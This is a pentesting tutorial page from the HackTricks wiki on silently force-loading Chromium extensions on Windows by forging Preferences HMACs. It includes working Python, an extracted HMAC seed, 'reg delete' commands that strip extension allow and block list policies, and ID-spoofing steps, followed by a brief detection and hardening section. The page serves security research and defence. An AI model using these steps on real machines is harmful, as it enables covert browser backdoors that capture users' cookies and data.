forced-extension-load-preferences-mac-forgery-windows.md (11543B)
1 --- 2 title: "Forced Extension Load & Preferences MAC Forgery (Windows)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Forced Extension Load & Preferences MAC Forgery (Windows) 14 15 ## Overview 16 17 This post-exploitation technique force-loads arbitrary extensions in Chromium-based browsers on Windows by editing a user's `Preferences`/`Secure Preferences` and forging valid HMACs for the modified nodes. It was demonstrated against Chrome/Chromium, Edge, and Brave from Chromium 130 through 139 at publication time. A disk-write primitive in the victim profile can persist a fully privileged extension without command-line flags or user prompts.<sup>[[1]](#references)</sup> 18 19 > Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry. 20 21 22 ## Where extension state lives (Windows) 23 24 - Non–domain‑joined Chrome profile: 25 - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac"). 26 - Domain‑joined Chrome profile: 27 - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences 28 - Key nodes used by Chromium: 29 - extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry 30 - protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob 31 - Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate 32 33 Simplified schema (illustrative): 34 35 ```json 36 { 37 "extensions": { 38 "settings": { 39 "<extension_id>": { 40 "name": "Extension name", 41 "manifest_version": 3, 42 "version": "1.0", 43 "key": "<BASE64 DER SPKI>", 44 "path": "<absolute path if unpacked>", 45 "state": 1, 46 "from_bookmark": false, 47 "was_installed_by_default": false 48 // ...rest of manifest.json + required install metadata 49 } 50 }, 51 "ui": { "developer_mode": true } 52 }, 53 "protection": { 54 "macs": { 55 "extensions": { 56 "settings": { "<extension_id>": "<MAC>" }, 57 "ui": { "developer_mode": "<MAC>" } 58 } 59 } 60 } 61 } 62 ``` 63 64 Notes: 65 - Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).<sup>[[1]](#references)</sup> 66 67 68 ## Extension IDs: path vs key and making them deterministic 69 70 Chromium derives the extension ID as follows: 71 - Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p 72 - Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p 73 74 To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.<sup>[[1]](#references)</sup> 75 76 Helper to generate a deterministic ID and a key pair: 77 78 ```python 79 import base64 80 import hashlib 81 from cryptography.hazmat.primitives import serialization 82 from cryptography.hazmat.primitives.asymmetric import rsa 83 84 def translate_crx_id(s: str) -> str: 85 t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'} 86 return ''.join(t.get(c, c) for c in s) 87 88 def generate_extension_keys() -> tuple[str,str,str]: 89 priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) 90 pub = priv.public_key() 91 spki = pub.public_bytes(encoding=serialization.Encoding.DER, 92 format=serialization.PublicFormat.SubjectPublicKeyInfo) 93 crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex()) 94 pub_b64 = base64.b64encode(spki).decode('utf-8') 95 priv_der = priv.private_bytes(encoding=serialization.Encoding.DER, 96 format=serialization.PrivateFormat.TraditionalOpenSSL, 97 encryption_algorithm=serialization.NoEncryption()) 98 priv_b64 = base64.b64encode(priv_der).decode('utf-8') 99 return crx_id, pub_b64, priv_b64 100 101 print(generate_extension_keys()) 102 ``` 103 104 Add the generated public key into your manifest.json to lock the ID: 105 106 ```json 107 { 108 "manifest_version": 3, 109 "name": "Synacktiv extension", 110 "version": "1.0", 111 "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..." 112 } 113 ``` 114 115 116 ## Forging Preferences integrity MACs (core bypass) 117 118 Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the cited research.<sup>[[1]](#references)</sup><sup>[[3]](#references)</sup> 119 120 Extract the seed with GRIT pak_util<sup>[[2]](#references)</sup> and locate the seed container (file id 146 in tested builds): 121 122 ```bash 123 python3 pak_util.py extract resources.pak -o resources_v139/ 124 python3 pak_util.py extract resources.pak -o resources_v139_dirty/ 125 # compare a clean vs minimally modified resources.pak to spot the seed holder 126 xxd -p resources_v139/146 127 # e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8 128 ``` 129 130 Compute MACs (uppercase hex) as: 131 132 ```text 133 ext_mac = HMAC_SHA256(seed, 134 "extensions.settings.<crx_id>" + json.dumps(<settings_json>)) 135 136 devmode_mac = HMAC_SHA256(seed, 137 "extensions.ui.developer_mode" + ("true" or "false")) 138 ``` 139 140 Minimal Python example: 141 142 ```python 143 import json, hmac, hashlib 144 145 def mac_upper(seed_hex: str, pref_path: str, value) -> str: 146 seed = bytes.fromhex(seed_hex) 147 # Compact JSON to match Chromium serialization closely 148 val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value 149 msg = (pref_path + val).encode('utf-8') 150 return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper() 151 152 # Example usage 153 settings_path = f"extensions.settings.{crx_id}" 154 devmode_path = "extensions.ui.developer_mode" 155 ext_mac = mac_upper(seed_hex, settings_path, settings_json) 156 devmode_mac = mac_upper(seed_hex, devmode_path, "true") 157 ``` 158 159 Write the values under: 160 - protection.macs.extensions.settings.<crx_id> = ext_mac 161 - protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134) 162 163 Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly. 164 165 > Implementation tips 166 > - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues). 167 > - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.<sup>[[1]](#references)</sup> 168 169 170 ## End‑to‑end silent load flow (Windows) 171 172 1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts) 173 2) Create `extensions.settings.<id>` by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.) 174 3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134) 175 4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges<sup>[[1]](#references)</sup> 176 177 178 ## Bypassing enterprise controls 179 180 - Whitelisted extension hash spoofing (ID spoofing) 181 1) Install an allowed Web Store extension and note its ID 182 2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx) 183 3) Set that key as manifest.key in your modified extension to reproduce the same ID 184 4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed<sup>[[1]](#references)</sup> 185 186 - Extension stomping (ID collision precedence) 187 - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)<sup>[[1]](#references)</sup> 188 189 - Neutralizing GPO via HKCU (requires admin) 190 - Chrome/Edge policies live under HKCU\Software\Policies\* 191 - With admin rights, delete/modify policy keys before writing your entries to avoid blocks:<sup>[[1]](#references)</sup> 192 193 ```powershell 194 reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f 195 reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f 196 ``` 197 198 199 ## Noisy fallback: command-line loading 200 201 From Chromium ≥137, --load-extension requires also passing: 202 203 ```text 204 --disable-features=DisableLoadExtensionCommandLineSwitch 205 ``` 206 207 This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.<sup>[[1]](#references)</sup> 208 209 Related flags and more cross‑platform tricks are discussed here: 210 211 [Macos Chromium Injection](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md) 212 213 214 ## Operational impact 215 216 Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception or redirection, cookie/storage access, and screenshot capture—effectively in-browser code execution and durable user-profile persistence. Remote deployment over SMB or another authorized administrative channel is possible because activation is data-driven through the preferences file.<sup>[[1]](#references)</sup><sup>[[4]](#references)</sup> 217 218 219 ## Detection and hardening 220 221 - Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries 222 - Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries 223 - Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management 224 - Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID<sup>[[1]](#references)</sup> 225 226 227 ## References 228 229 - [1] [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html) 230 - [2] [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py) 231 - [3] [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile) 232 - [4] [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)